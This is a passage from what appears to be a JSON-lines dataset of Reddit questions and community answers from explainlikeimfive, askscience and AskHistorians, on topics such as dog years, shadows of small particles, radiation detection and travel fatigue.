"answers_urls": [["https://en.wikipedia.org/wiki/John_Tate", "https://en.wikipedia.org/wiki/Main_conjecture_of_Iwasawa_theory", "https://en.wikipedia.org/wiki/Jean-Pierre_Serre", "https://en.wikipedia.org/wiki/Tate%27s_thesis", "https://en.wikipedia.org/wiki/Abel_Prize#Laureates", "https://en.wikipedia.org/wiki/Langlands_program", "https://en.wikipedia.org/wiki/Andrew_Wiles#Recognition", "https://en.wikipedia.org/wiki/Pierre_Deligne", "https://en.wikipedia.org/wiki/Weil_conjectures", "https://en.wikipedia.org/wiki/Alexander_Grothendieck"]]}
{"q_id": "wecun", "title": "Non-Saga sources describing interaction between Norse and Skraelings?", "selftext": "I'm looking for compelling source material that describes how Vikings interacted with peoples in North America; records of trading, agreements, etc.\n\nI've read the Sagas extensively, but am looking for other sources with data from outside the Sagas.\n\nAny ideas?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wecun/nonsaga_sources_describing_interaction_between/", "answers": {"a_id": ["c5cls7r"], "score": [6], "text": ["I don't know of any other texts, but you could look into evidence in the archeological record. [This article](_URL_0_) alludes to some possibilities. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.smithsonianmag.com/history-archaeology/vikings.html"]]}
{"q_id": "3s5188", "title": "why is shanghai cold and tijuana hot?", "selftext": "Shanghai is on the east coast of China. Tijuana is on the west coast of Mexico. They are on the same latitude. I remember reading that in the Northern Hemisphere, currents move clockwise; so Shanghai has a warm current from the Philippines, and Tijuana gets cold water from Alaska. Despite this, Tijuana is hot all year, and Shanghai sometimes gets snow in winter. Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s5188/eli5_why_is_shanghai_cold_and_tijuana_hot/", "answers": {"a_id": ["cwu48op", "cwu6i31", "cwuc0ws", "cwuj361", "cwuns8t"], "score": [10, 45, 5, 2, 5], "text": ["The air coming off of the ocean is moderated and the air coming off large land masses is not. That's the very short version. The same reason why the West Coast of the US is moderate when compared to the East Coast, and the same reason why it usually doesn't snow in London, but does in Beijing.", "It's worth noting that Shanghai is not a cold city, it's generally considered to be subtropical and rather warm, but it gets snow fairly regularly(1-2 times a year).\n\nThis is really more to do with a major high pressure system called the [Siberian High](_URL_0_) and Shanghai having a relatively humid climate.   Basically this high pressure system plays a huge role in weather across Asia and really the entire northern hemisphere bringing snow to places that otherwise would not see snow, generally where it meets tropical air in the Pacific Ocean.  It's quite similar to what can sometimes happen on the east coast of the United States when polar air pushes the jet stream south and places as far south as Florida can see frost and rarely a snow storm, but the Siberian high is stronger and further south meaning that it affects Shanghai more regularly.", "That's not exactly right. The average temperatures for these 2 cities are both between 17 and 18C.  \n\nAbout the currents, that much is true only during the summer. Shanghai does get a warm current, and therefore has a very warm summer, with averages during the hottest months around 28.5C. Tijuana actually has a relatively mild summer, with averages around 22.5C, due to the pacific currents.\n\nBut in the winter, the currents in south-east China are not as warm, somewhat comparable to the south-eastern U.S. Also, there's the Siberian High that bring a bunch of cold-fronts to China. That brings Shanghai to an average of 4.8C in January. Meanwhile, the whole western north-american coast is much warmer in the winter than similar latitudes inland, much like western europe, due to warm currents. Tijuana has an average of 13.6C in the winter.\n\nIt's somewhat like comparing Vancouver and Toronto. Vancouver is a bit farther north, but Toronto has a considerably colder winter than Vancouver, while the summers are very mild in Vancouver and quite warm in Toronto.", "I suppose a good related question would be: why are the western sides of each continent typically more arid and cooler than the eastern side?", "I don't know about Shanghai, but Tijuana is not hot all year, yes, it's not as cold as other places but during winter, temperatures are between 50 something (at night) and 60 something during the day. \n \nRight now Tijuana is experiencing a warm fall (63 right now), compared to Shanghai's 48 degrees, but definitely it's not hot all year long (just last week there was snow in the mountains so it got really cold)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Siberian_High"], [], [], []]}
{"q_id": "19wzy8", "title": "Can we detect radiation from space? How? If North Korea put their bomb on a ship could we detect the radiation from space and intercept the ship?", "selftext": "And if we can't, then how come we could tell if Russia was launching a missile with a nuclear bomb in it as opposed to a conventional cruise missile?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19wzy8/can_we_detect_radiation_from_space_how_if_north/", "answers": {"a_id": ["c8s204m", "c8s3vk1", "c8s598b", "c8s6xbu", "c8s72g5"], "score": [12, 87, 4, 3, 2], "text": ["We can't detect the kind of radiation a nuclear device emits from space, there's not enough of it. If it explodes, we can detect that!\n\nWe can't tell if Russia is launching a nuclear device instead of a conventional one.", "Lots of people are surprised by this, but pound-for-pound, uranium and plutonium are not very radioactive.  Pu-239 has a half-life in the 10,000 year range, and U-235 is almost a billion year half life.  So at any given moment, only a small fraction of these atoms are decaying.\n\nWhen an atom undergoes fission, it produces two new atoms, and these two pieces (called fission fragments) tend to be very unstable.  As a result, they have extremely short half lives, and are much more radioactive (relative to the original bomb or fuel).  \n\nWe can detect traces of a nuclear explosion by sniffing out the gaseous fission fragments like xenon or iodine.  But detecting an unexploded nuclear bomb is much harder.  In fact, most of the methods I have seen for finding nuclear material at the border relies on so-called \"active interrogation\" - meaning that you blast a container with photons or neutrons and see what comes out.  Uranium or plutonium will respond in very specific ways to this irradiation, and emit their own signal which can be detected.  It's a similar concept to RFID.\n\nYou are describing a \"passive detection\" system - where we look around for trace signals emitted by the bomb.  Uranium and plutonium just don't emit enough radiation on their own for this to be feasible.", "The actual radiation from radioactive decay goes at most about a hundred meters in air. There is no way any of it will reach space. What you can detect is contamination. That means radioactive material that is released into the air, the sea, or otherwise. That material can sometimes be spread far and be detected where it decays. It will never be spread to space though, so you can never sniff it out from a satellite.", "The radiation from a nuclear weapon is generally Undetectable outside the local vicinity of the weapon. \n\nYou would have to look for heat signatures going over 1000 mph or some other sign. ", "Plutonium is an alpha-emitter, and so is Uranium-235 (the two main bomb-grade isotopes). These isotopes release particles at specific energies, so given a lump of either in a closed box, the right detector could identify them based on their energy spectra. Alpha particles do not propagate well (easily stopped/absorbed/slowed by air or dead skin, even), so it would be impossible to detect from any real distance. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "kkwfo", "title": "arnold-chiari malformation", "selftext": "A recently made friend has this and I get confused reading the medical website definitions ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kkwfo/eli5_arnoldchiari_malformation/", "answers": {"a_id": ["c2l3d9x", "c2l3d9x"], "score": [6, 6], "text": ["I have this!!!!!!!!!!!!!!!!!!! Just had surgery for it. Basicaly, your skull is too small to support your brain (or brain is too big, it is debated) Since the brain needs somewhere to goes the brain pushes down through the opening of your skull that goes into your spinal cord. This force is what causes the problems", "I have this!!!!!!!!!!!!!!!!!!! Just had surgery for it. Basicaly, your skull is too small to support your brain (or brain is too big, it is debated) Since the brain needs somewhere to goes the brain pushes down through the opening of your skull that goes into your spinal cord. This force is what causes the problems"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7rrejd", "title": "At what point is a particle too small to cast a shadow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7rrejd/at_what_point_is_a_particle_too_small_to_cast_a/", "answers": {"a_id": ["dsz9g8r", "dszaleb", "dszbxp6", "dszhfwn", "dszl8j7", "dszonql", "dszrvb0", "dt04ape", "dt05bk6", "dt0660a"], "score": [739, 17, 1711, 2, 2, 19, 2, 4, 3, 3], "text": ["Quantum-mechanically, a shadow is destructive interference of the scattering amplitude at forward angles (behind the scattering site), although colloquially one would assume that you\u2019re talking about visible light being blocked by macroscopic objects. But really whenever something is scattering off of something else of finite \u201csize\u201d in space, you can have a shadow behind it. The wavelength of the projectile should be around the same size or smaller than the characteristic length scale of the target.", "This really depends on how you define a shadow... I assume you mean a complete obstruction of the light source behind the particle?  \n\na physical light source would have a finite size, so a complete obstruction depends on the distance of the light source, and the distance of the object from the surface of the shadow as well as the difference in size of the light source and the object. In case that the light source is larger than the object, and the distance from the shadow surface is far enough to not permit a complete obstruction of the light at any point on that surface, the shadow would not be devoid of light.\n\nAssuming a (non physical) point light source source:\n\nIn that case, too, it depends on the distance of the shadow surface, since due to diffraction, at a far enough distance compared to the object size over the wavelength, there would be no full obstruction anymore - well, there would be areas where no light reaches, but it wouldn't look like a shadow, especially as directly behind the object would be the maximal light intensity.\n\nThis all applies to macroscopic objects. \n\nOnce the object is small enough so that QM must be taken into consideration (this depends on the absorption cross section at the particular frequency, as well as the rate of deexcitation), there would no longer be a full obstruction due to the random nature of QM.", "Depends on what you define a shadow to be. Electron microscopes technically generate an image by collecting data on a microscopic object's \"shadow.\" Electron microscopes can expose the shadows of individual molecules. (You can Google images of this.)\n\nIf we limit ourselves to observing a shadow due to visible light, then the smallest object to make a shadow would have to be at least a micrometer in length (1/100 of the thickness of a human hair) to interfere with/scatter visible light. Even then, you would need to set up lenses in a specific way to project the shadow and make it visible to the naked eye. (This is called Schlieren photography, Veritasium has a video. This essentially shows the shadows of A LOT of molecules convecting.)\n\nEdit: Since I have sparked a discussion, I should justify my ELI5 conclusion. Light is the layman term for the \"electromagnetic spectrum.\" The behavior of light, a physical (aka observable and measureable) phenomenon, can be described mathematically as a wave. The tl;dr on waves is that we can define them by their properties of \"wavelength\" (\u03bb) and \"frequency\" (f). By multiplying these values, we obtain the speed of the wave (v=f\u03bb). The motion of light was uniquely set by the initial conditions of our universe, to approximately 300000000 meters per second (186000 miles per second) - we call this speed \"c.\" Since c must remain constant, the relation c=f\u03bb demands that as frequency of a light wave increases, the wavelength must decrease (and vice versa). Hence, light exists on a spectrum. From low frequency/high wavelength radio waves to high frequency/low wavelength Gamma rays, the spectrum offers a linear variety of \"light.\" With some engineering, radio becomes a light we listen to, microwave becomes a light we cook with, and ultraviolet light is used to tan Mr. 45. Nature's engineering of the human eye and visual cortex system enables unimpaired individuals to observe a tiny sliver of the electromagnetic spectrum, we call this visible light. You can see all of the colors of this portion of the spectrum when you look at the rainbow luster of a DVD. The wavelengths can be as high as ~700 nm (red) to as low as ~400 nm (violet). On scales of larger than one micrometer, a shadow is caused by an object impeding the distribution of light from a light source and can be classically demonstrated with geometry; when you stand on the sidewalk on a sunny day, your body casts a shadow in the direction the sun's visible light would have gone if you weren't standing there. However, when you get to smaller scales, the behavior of light becomes a unique type of wave: a quantum wave. The tl;dr with quantum light is that as light is on its way towards wherever it's headed, it can take detours (after all it has to avoid A LOT of air molecules; imagine trying to shoot a bullet through a forest without hitting any trees). Essentially, this means that whether or not light interacts with atomic-scale matter depends on a roll of a dice, and the fairness of those dice depends on the conditions in which the observation is made. With a macro-scale object, this becomes trivial as the chance of visible light interacting with the matter is very high, the light is absorbed, and the lack of light behind the object is observed as its shadow. To better understand a quantum shadow, let's consider a single slit experiment. If we shine light through a small, vertical, rectangular slit and look at the projection on a screen behind the slit we see a bar of light in the shape of the rectangle, becoming darker towards its edges. This is because light spreads outwards from its source, the slit acts as a new point-source of light, most of the light goes through the center (shortest path to the screen) and less arrives at the edges as the distribution of light becomes more spread out the further it has traveled.  If we now invert the experiment, and shine light at a piece of matter the same size as the slit, we can consider the quantum result of its shadow. Certainly any light that the matter impedes would not shine on the screen and a shadow would be formed. However, both the left and right side of the piece of matter will act as their own single slit experiment, and light will spread across the region of the shadow,  with a contribution from both sides. Now since this is happening simultaneously, we will actually have results more akin to a double slit experiment. To tl;dr that one for you, waves (classical and quantum) have a property called interference where they can add or subtract to each other. The light will add and subtract itself depending on the conditions of your experiment. What this means is that you will either see no shadow or multiple shadows depending on your materials and how you set up your experiment. As your piece of matter becomes smaller than infrared scale, the dice become very unfair and the most likely result of visible lights journey has it avoid the matter altogether, casting no shadow, as if the matter wasn't even there. This is the case with uv radiation from the sun causing skin cancer. On its way to our skin, sunlight in the ultraviolet range (smaller than 400nm) is mostly impeded by the dead outer layers of skin, but the universe finally rolls a d20 and some light manages to squeeze through; a critical strike is dealt to an unlucky atom in the DNA of an unlucky living skin cell, ionizing it and creating instructions to make too many babies. We use these small wavelengths of light to make shadows of smaller objects. One example is xray, small enough wavelength to fly past the empty spaces between atoms, giving us images of dense structures like bones but making tissue transparent. A comment below mentioned using uv now as well for imaging small objects. Electron microscopes work on the same concept, different only in that electrons have mass and it is the exchange of momentum that is measured. (Though still the exchange of momentum between electrons is an interaction of light).\n\nThank you for the user comments correcting the magnitude for c. ", "[_URL_0_](_URL_0_)\n\n[This paper](_URL_0_) (open access) discusses absorption imaging of a single atom, which is essentially imaging the shadow of the atom.", "You can't consider size alone.  Distance from the particle to the surface on which the shadow is cast must also be taken into account, since thanks to diffraction, the shadow area shrinks as you move away further away particle the particle, to the point of eventually disappearing. The distance and the size of the source also matter.", "The physics guys and gals probably answered this best but there is an interesting condition in the eye called asteroid hyalosis where calcium soaps accumulate in the vitreous (gel in the eye) and do cast tiny shadows called umbral cones but these shadows are so short that they don't reach the retina and therefore are not visually significant. Soooo is it really a shadow if we can't see it?\n\n", "Take the object as a disk with diameter d.\nA ray grazing the top of the disk will be bent (diffracted) down by an angle  theta ~ lambda/d where lambda is the wavelength of light. There will be a ray grazing the bottom that will be bent upwards by this amount. For lambda~d, the angles are like 60deg up and down, and will cross within about a distance d from the object.\n\n", "A particle is never too small to cast a shadow as long as the waves that you're using to cast the shadow have a sufficiently high frequency or you're sufficiently close.  This is [perfectly explained by Eugene's video](_URL_0_).  (See especially around 9:00.)\n\n(By waves, we mean light waves, sound waves, electrons, or any other particles.)\n\nIn other words, Robus's answer is close except for his mention of scattering (which is irrelevant) and fretit's point is right as well.", "You've gotten great physics answers.\n\nFrom a photography standpoint, the other part of the question is going to be \"How large is your light source, and at what point does the shadow become so soft that it's below the noise floor?\n\nIn photography we often use very large very soft light sources in order to control how a shadow looks and falls on the subject. With a big enough light source, even relatively big things (from a physics perspective) like hair won't cast a discernible shadow.", "Just, in principle, it fundamentally depends upon the relative size of the lightsource.\n\nIf the lightsource is significantly bigger than the particle or object, then there is a good chance that the particle does not cast a shadow, though underneath it, there would occlusion, so there would be a shadow, technically, but only in the sense that something that doesn't have light on it is in shadow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.nature.com/articles/ncomms1944"], [], [], [], ["https://www.youtube.com/watch?v=Io-HXZTepH4"], [], []]}
{"q_id": "occe8", "title": "Is it possible for a person to survive in a highly moist environment without drinking anything?", "selftext": "I guess the main question here is can a person consume water from the environment through skin or by breathing, and if yes - surely there must be a limit to what amounts can be consumed, will that be enough? And finally - if the answers to previous questions are positive - what level of humidity can make it happen? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/occe8/is_it_possible_for_a_person_to_survive_in_a/", "answers": {"a_id": ["c3g4390"], "score": [2], "text": ["No.  Our bodies don't absorb water like that.  Think of it like this: when you take a shower or a bath, our skin wrinkles because the dead skin cells on the surface absorb water, but the living cells underneath don't absorb water as readily, we're just not built that way.  Plus, our lung tissue is designed to absorb air, not oxygen and any fluid in the lungs is a serious issue. \n\nSome plants like epiphytes (grow on trees or other plants) can absorb water directly from the air.  Many bromeliads (like Spanish moss) or orchids (just to name a few) have specialized epidermal cells that can absorb water directly from the air.  If you look at the [Phalanopsis](_URL_0_) orchids that are commonly sold in garden stores or at the local florist, you'll notice that there are aerial \"roots\" coming out of the pot and these roots are white.  The white is from the specialized layer of cells called [velamen] (_URL_1_).  In addition, areas of coastal northern California don't get much rain during the year, but it does get a lot of fog.  Redwoods take advantage of that by collecting the dew from the fog that then drops down to the forest floor, watering the trees. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.google.com/imgres?hl=en&amp;sa=X&amp;biw=1440&amp;bih=781&amp;tbm=isch&amp;prmd=imvns&amp;tbnid=XzuT8cdH7tXkWM:&amp;imgrefurl=http://www.flickr.com/photos/rainyfoxy/408272037/&amp;docid=ndS20fN0dI-t_M&amp;imgurl=http://farm1.staticflickr.com/146/408272037_ac004e3743_z.jpg&amp;w=480&amp;h=640&amp;ei=xaQNT7a6B6b50gGb0-mGBg&amp;zoom=1&amp;iact=rc&amp;dur=342&amp;sig=117356947605081380751&amp;page=2&amp;tbnh=130&amp;tbnw=96&amp;start=28&amp;ndsp=28&amp;ved=1t:429,r:13,s:28&amp;tx=33&amp;ty=58", "http://en.wikipedia.org/wiki/Velamen"]]}
{"q_id": "435uha", "title": "how can marvel citizens be okay with magic, gods, super science, aliens, and superhumans destroying entire city blocks, but not mutants?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/435uha/eli5_how_can_marvel_citizens_be_okay_with_magic/", "answers": {"a_id": ["czfpq93", "czfpwl2", "czfq1uv", "czfqhz4"], "score": [5, 2, 3, 2], "text": ["The writers made them do it.\n\nThat said, I doubt the people who have a problem with mutants in the Marvel universe are okay with random gods, aliens, etc any more than they are the mutants. Except the X-men (and related) product lines just delve into it more.\n\nMoreover... Okay, Thor exists. You don't like that dirty stinking alien. What are you gonna do about it?", "I'd imagine the only difference is that humans have at least a sliver of a fighting chance against mutants.. good luck fighting magic gods or, even worse, Superman.\n", "Most of the time, Marvel just glosses over this issue. There are a few cases where they've tried to justify it though, and the main reason given is that mutants are humans that have naturally gained their abilities. This is perceived as different from non-humans and humans that gain their abilities through technology or through an event like a radioactive spider bite. Because those are still \"regular humans\" they've just had something happen to them which changed them. Mutants are scarier because they're different at a more basic level. People like Spiderman are seen to be on the humans' \"side\" because he's a human who happened to gain abilities. Mutants don't consider themselves human, or they consider themselves a different kind of human. That's what scares regular humans in the Marvel universe. It's seen as more of an \"us vs. them\" scenario.", "A lot of people aren't. Like, genuinely, really really really against the whole thing. In fact, that was the reason for the Superhuman Registration Act: Anyone with superpowers, whether natural(mutants/Asgardians/Demigods) or gained(Fantastic Four, Spider-Man etc), with magical knowledge, any type of advanced weaponry or technology(Like Iron-Man) or even elite level martial artists/skilled vigilantes were required to register what they were able to do, disclose their identities and essentially work under government supervision because the government and a lot of the public were not okay with people who were living WOMD's running around with no supervision."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7ti4iz", "title": "why does the influence of certain sports spread across the world while others online exist in one country", "selftext": "For example gridiron/NFL is only in America, it isn't even in any of the two bordering nations. While on the other hand football/soccer is known all around the world. Then there are some in between such as cricket or rugby where it is only in a few countries.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ti4iz/eli5_why_does_the_influence_of_certain_sports/", "answers": {"a_id": ["dtcojjy", "dtcopbt", "dtcoxxc", "dtcpssj"], "score": [5, 14, 2, 2], "text": ["Gridiron football is played in Canada too, though with different rules from NFL football and only eight teams. Also, for the past few seasons the NFL has been playing a few games in London, and apparently there's a small movement to establish a UK branch of the NFL, rather like the former NFL Europe.", "Football/soccer is a sport that has very simple rules and minimal equipment to play. All you really need to play at a recreational level is a ball and something to mark off the goal area (some cones or sticks).  This makes it popular with children because if its accessibility, and allows it to spread worldwide.", "Not going to say this is a reason but its most likely the age of the sport aswell as the costs to play. A sport like American football/hockey can cost hundreds of dollars for all the equipment whereas a sport like soccer costs maybe 10$ so its alot easier to just pick up and play with a couple friends. The second reason I can think of is the age of the sport and how easy it is to play right off the bat. Soccer only requires a ball and the concept of kick the ball into the other net is really simple whereas even something like downs in football make it too much effort in comparison to easier options. The last example I could think of is that soccer is a lot older than something like football that has only been made in the last dozen decades.", "Cricket and soccer/futbol is only as global as it is due to European influence and settlements. Everywhere it's popular was at some point a European trading post. Other sports are usually in places that don't have a network of media coverage to really get the activity known outside of the local communities "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4b2ars", "title": "gasx where does it disperse the gas too? how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4b2ars/eli5_gasx_where_does_it_disperse_the_gas_too_how/", "answers": {"a_id": ["d15i6da", "d15n5s5"], "score": [5, 19], "text": ["The active ingredient, simethicone, breaks down the gas bubbles allowing your body to take care of the gas. Gas formed into bubbles is what causes the gas pains. \n\n_URL_0_", "It doesn't 'disperse' the gas as such, it is an anti-foaming agent, that breaks down smaller bubbles allowing them to form a few larger ones, which makes it easier for your body to expel (burping). As most gas in the digestive track is carbon dioxide and air - product of digestion and air from swallowing - some of it is absorbed directly through the gut lining.  GasX/simethicone is mostly to help a person burp and has much less of an effect further down the digestive system"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gas-x.com/faqs"], []]}
{"q_id": "1fw945", "title": "How is cognition related to intelligence? Is cognition an aspect of intelligence, or are they somewhat independent of each other?", "selftext": "I have been reading about ways to improve cognition and it occurred to me that I don't exactly know what it is. I usually would just research this, but I thought it would interesting to try this out.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fw945/how_is_cognition_related_to_intelligence_is/", "answers": {"a_id": ["caf42wt"], "score": [2], "text": ["From [Wikipedia](_URL_0_):\n\n > In science, cognition is a group of mental processes that includes attention, memory, producing and understanding language, learning, reasoning, problem solving, and decision making... However, the term's usage varies across disciplines; for example, in psychology and cognitive science, \"cognition\" usually refers to an information processing view of an individual's psychological functions...Within psychology or philosophy, the concept of cognition is closely related to abstract concepts such as mind, intelligence. It encompasses the mental functions, mental processes (thoughts), and states of intelligent entities (humans, collaborative groups, human organizations, highly autonomous machines, and artificial intelligences).\n\nSo it would seem that intelligence is a more abstract concept relating to intellectual ability, while cognition is how/the means by which we process information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Cognition"]]}
{"q_id": "157xmy", "title": "why do dog years exist? and why ~7 years?", "selftext": "I don't see a real reason for it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/157xmy/eli5_why_do_dog_years_exist_and_why_7_years/", "answers": {"a_id": ["c7k1tt4", "c7k1vev", "c7k1wxp", "c7k2a5k", "c7k30s1", "c7k37pe", "c7k3d8r", "c7k3eco", "c7k3u9a", "c7k42jv", "c7kf6le"], "score": [62, 112, 306, 4, 213, 4, 2, 8, 4, 2, 3], "text": ["Dogs age faster than people. When a person is 1 year old, they are still a baby. When a dog is one year old, they are mostly grown. A five year old child still has a LOT of growing to do. A five year old dog is as grown and mature as it will ever be.  \nI'm sure someone else can explain this far better, but that's all I have.", "Because dogs live short lives compared to humans and it is a way of normalizing the difference between us. ", "To be blunt, because people are stupid. You are absolutely right, OP, there is no good reason for them. Dog years are a ridiculous and often harmful urban myth.\n\nFor example, several breeds of dog can first get pregnant at about 6 months, which is why it's recommended to get the female dogs spayed so earlier in their lives. \n\n6 months X 7 dog years = 42 dog months, which equals 3.5 human years. \n\nDo you see any people getting pregnant at 3 years old? I doubt it. Yet people make judgements on a dog's state of mind and age based on humans. By this judgement, one would expect a dog to begin their adolescence at about two years, the time when most people agree that the dog is *leaving* their adolescent stage behind.\n\nAt any rate, the myth came about because dogs live around 12-16 years or so, depending on the breed, which is approximately a human life span divided by seven. As for why people project the human stages of development on dogs (pretty much the purpose of using the 7), people just love to anthropomorphize their pets. I have not met a single pet lover that doesn't love to assign them overly human motivations and emotions, myself included. ", "It's a product of lazy convenience. Dogs generally behave differently based on how old they are; an older dog tends to be less energetic and more restful and tired than a puppy. People noticed a link between a dog's behavior and age and a human being's behavior and age, with a \"young\" dog behaving similarly to a \"young\" person. Using this information and the average life of a dog as reference, 7 years was roughly established as the ratio between dog and human years, meaning if your dog was two \"dog\" years old or 2/7ths of an actual year old, then it would behave similar to a two year old human child in terms of behavior and energy levels.\n\nOf course, the problem is that the solution is not accurate at all. Dogs spend a much shorter period of time in the \"infant\" stage and a longer period of time in the \"adolescent\" and \"young adult\" stages of life than human beings, which makes the whole scale somewhat pointless.", "Humans live around 7 times longer than dogs on average, so it's an over-simplified way of working out how \"old\" your dog is. \n\nEg. a 12 year old dog is \"like\" an 84 year old person.\n\nIt exists because people like to make simple analogies of things.", "A follow up question if anyone's up for it. Why do we only have dog-years, and not cat-years, whale-years, spider-years, and so on. If we have dog-years for pet reasons, shouldn't there be years-calculations for all kinds of pets?", "I would assume it's because they live on average 12 years and people thought 12 years was a short time so they came up with 'dog years' which would be 1 human year would equal 7 dog years. So when they did pass away they did at 84 dog years making it seem a lot longer than it was.", "Life expectancy of a human= 70 years\nLife expectancy of a dog= 10 years\n70/10=7 \n", "[straight dope column on the subject](_URL_0_)\n\n > One of the simplest and most sensible goes like this: The first year of canine life is equal to 21 years of human life \u2014 in other words, the puppy grows to adulthood. Every additional dog year is equivalent to four human years. Thus a 10-year-old mutt is the equivalent of 57 human years old (9 x 4 + 21). Likewise, the Alpo dog is not 98 (14 x 7) but 73 in human terms (13 x 4 + 21).", "I disagree. My family has had more than 16 dogs over the years. Most have lived well beyond the typical life expectancy for their breed. Currently I have one that is 17 years old, and one that is 13. (They are both Shih-Tzus.) The oldest is estimated to be around 84 years old in dog years. Why does that matter? Because it means that she is PHYSICALLY similar to an 84-year-old human. She has arthritis in her joints that makes it hard to get around. She sleeps more of her days away. She has been going blind for several years, and now can mostly just see differences in light. Her teeth have deteriorated and she has less of an appetite; my vet says when a dog of her size gets to this age (which many of them never do), you are lucky if you can get her to eat one decent meal every few days. Some days she has trouble getting up to go to the bathroom. Sometimes her mind seems clear and alert; other days, she seems to get lost and needs help finding her way back to her bed. \n\n_URL_0_\n\n**Tl;dr** - \"Dog years\" is mostly a way of helping you to understand what your pets are experiencing physically as they age.", "As dogs do not orbit the sun seven times a year, dog years do not actually exist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.straightdope.com/columns/read/370/is-it-true-one-dog-year-equal-seven-human-years"], ["http://en.wikipedia.org/wiki/Aging_in_dogs#Effects_of_aging"], []]}
{"q_id": "rsptu", "title": "What reaction causes the white hazy vision that results from swimming in chlorinated pools without goggles?", "selftext": "I tried swimming without goggles in a chlorinated swimming pool. After a while, my vision turns hazy. The haziness increases with prolonged exposure to the water, and goes away after a while in open air.\n\nWhat is the compound / reaction that causes this?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rsptu/what_reaction_causes_the_white_hazy_vision_that/", "answers": {"a_id": ["c48cchr"], "score": [5], "text": ["I would imagine it's simply corneal irritation, and (basically) acute non-infectious conjunctivitis resulting from an extremely mild chemical burn/irritation. The \"haze\" is because some of the light coming into your pupil is muted by the local swelling and irritation. Notice how your eyes usually feel \"scratchy\" whilst your vision is hazy?\n\nThe chemicals used to balance and disinfect pool water are not friendly to your mucus membranes either (the pinkish part of your eyelid that slides over your eye is one in particular that's relevant here). Your body is constantly trying to rid itself of them while you're in the water. Once you're out of it for a while it has the chance to work unimpaired. Flushing your eyes with fresh water is always a good idea here though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bic8ei", "title": "why is it tiring to travel long distances in a car, when you're essentially just sitting down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bic8ei/eli5_why_is_it_tiring_to_travel_long_distances_in/", "answers": {"a_id": ["elzijcj", "elzu8ca", "elzusxd", "elzvqt0", "elzxcac", "em00qtl", "em03szk", "em0a82q", "em0b1my"], "score": [129, 39, 2, 5, 64, 21, 10, 5, 4], "text": ["You\u2019re probably tense your muscles a lot more than you realise while driving. Plus being mentally engaged the entire time is tiring.", "Every 3 seconds you have to make a micro decision.  If you make the wrong micro decision, you're instantly in significant danger.  The fatigue is from a very justified anxiety.\n\nThis is why we need autonomous cars.", "I get tired sitting in front of my computer due to boredom, so I can easily understand why it'd be tiring sitting in a car for so long. Even making the trek from Sacramento to Reno (a couple hours) is tiring.", "I\u2019d guess sun exposure has something to do with it too. Even with AC you\u2019d be surprised how much energy it takes to regulate your body temp. \n\nAt night it\u2019s probably just because it\u2019s dark and your body\u2019s supposed to be asleep now.", "When you sit at home, you're completely still and the only thing youre really feeling is gravity. When you sit in a vehicle thats moving, you have turns, speed changes, etc. constantly happening, and your body has to constantly tense and relax to keep you upright. Its minor enough that you don't think about the fact that you're doing it, but enough that you're tiring yourself out.\n\nIf you're driving, then you have to remain alert constantly as well, your mind is constantly working because you're aware that if you lose focus you can potentially die.", "It\u2019s the same reason that sitting in a seat on an airplane for 10 hours is exhausting.\n\n\u201cAlertness\u201d takes a lot of brain power and energy. New and unfamiliar situations cause your brain to maintain situational awareness of what\u2019s going on around you more than sitting at home, where your brain can automatically \u201ctune out\u201d everything it already knows, like the color of the sofa and where it is in the room.\n\nEven if you don\u2019t consciously pay attention to everything going by, part of your brain is, because it\u2019s new and unfamiliar stuff, and it can\u2019t *really* be entirely sure you\u2019re not about to be eaten by a leopard.", "As a passenger, you're sitting in a box that is being violently vibrated and randomly accelerated, while being subject to high levels of noise. The same stuff that causes motion sickness also affects you when you don't get motion sick. Possibly also unpleasant sunlight and/or heat. If I had to build a machine that wears you down without getting me sent to The Hague... that's actually a pretty good design.\n\n(Tip: try earplugs - not blasting music at an even higher volume level! - and see if you're less destroyed)\n\nAs the driver, add to all of the above the fact that you're performing a task that requires constant attention, nonstop for hours, at high speed, and where any mistake or inattentiveness even for a second or two can mean death for you and others.", "Adding to the other replies you got:\n\nI've learned a lot about this as I started being able to afford better cars.\n\nI used my first car for 45 min. trips. I needed a break when I arrived.\n\nI replaced it with a better car, and arrived more rested than I left.\n\nI bought a better car, and went on an 8 hour road trip with a friend. Only stopped to eat and use toilet. We never went for a walk to stretch the legs or anything like that. When we arrives we felt fine. It was like we had rested all day in a living room. (I drove the entire trip.)", "It also make a big difference if you're driving a good car vs a shitty car with poor handling. 